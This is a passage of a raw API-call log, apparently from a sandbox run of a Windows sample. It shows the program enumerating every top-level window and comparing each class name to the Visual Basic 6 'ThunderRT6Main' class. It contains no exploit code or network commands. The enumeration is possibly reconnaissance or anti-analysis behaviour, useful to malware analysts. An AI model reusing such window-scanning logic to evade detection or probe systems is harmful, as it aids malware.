[0175.733] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0175.733] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0175.733] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0175.733] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0175.733] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0175.733] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0175.733] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0175.733] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0175.733] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0175.733] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0175.733] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0175.733] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0175.733] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0175.733] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0175.733] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0175.733] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0175.733] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0175.733] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0175.733] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0175.733] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.733] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0175.733] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0175.734] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0175.734] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0175.734] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0175.734] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0175.734] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0175.734] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0175.734] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0175.734] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0175.734] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0175.734] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0175.734] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0175.734] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0175.734] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0175.734] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0175.734] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0175.734] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0175.734] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0175.734] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0175.734] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.734] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0175.734] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0175.734] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0175.734] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0175.735] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0175.735] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0175.735] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0175.735] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0175.735] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0175.735] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0175.735] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0175.735] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0175.735] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0175.735] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0175.735] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0175.735] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0175.735] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0175.735] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0175.735] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0175.735] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0175.735] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0175.735] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0175.735] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0175.735] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0175.735] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0175.735] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0175.736] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0175.736] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0175.736] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0175.736] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0175.736] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0175.736] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0175.736] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0175.736] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0175.736] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0175.736] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0175.736] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0175.736] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0175.736] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0175.736] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0175.736] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0175.736] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0175.736] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0175.736] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0175.736] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0175.736] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0175.736] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0175.736] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0175.736] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0175.737] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0175.737] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0175.737] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0175.737] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0175.737] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0175.737] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0175.737] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0175.737] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0175.737] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0175.737] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0175.737] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0175.737] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0175.737] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0175.737] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0175.737] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0175.737] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0175.737] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0175.737] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.737] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.737] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0175.737] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0175.737] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0175.737] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0175.738] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0175.738] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0175.738] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0175.738] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0175.738] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0175.738] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0175.738] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0175.738] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0175.738] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0175.738] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0175.738] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0175.738] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0175.738] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0175.738] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.738] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0175.738] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0175.738] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0175.738] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.738] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0175.738] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.738] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.738] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.739] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0175.739] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0175.739] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0175.739] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0175.739] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.739] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0175.739] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0175.739] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0175.739] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.739] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0175.739] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.739] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.739] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0175.739] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.739] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.739] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0175.739] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0175.739] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0175.739] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0175.739] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.739] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0175.739] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0175.740] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0175.740] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0175.740] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.740] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0175.740] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0175.740] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0175.740] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0175.740] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0175.740] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0175.741] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0175.741] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0175.741] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.741] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0175.741] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0175.741] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.741] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0175.741] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0175.741] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.741] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0175.741] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.741] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0175.741] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0175.741] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0175.741] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0175.741] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.741] lstrcmpA (lpString1="IME", 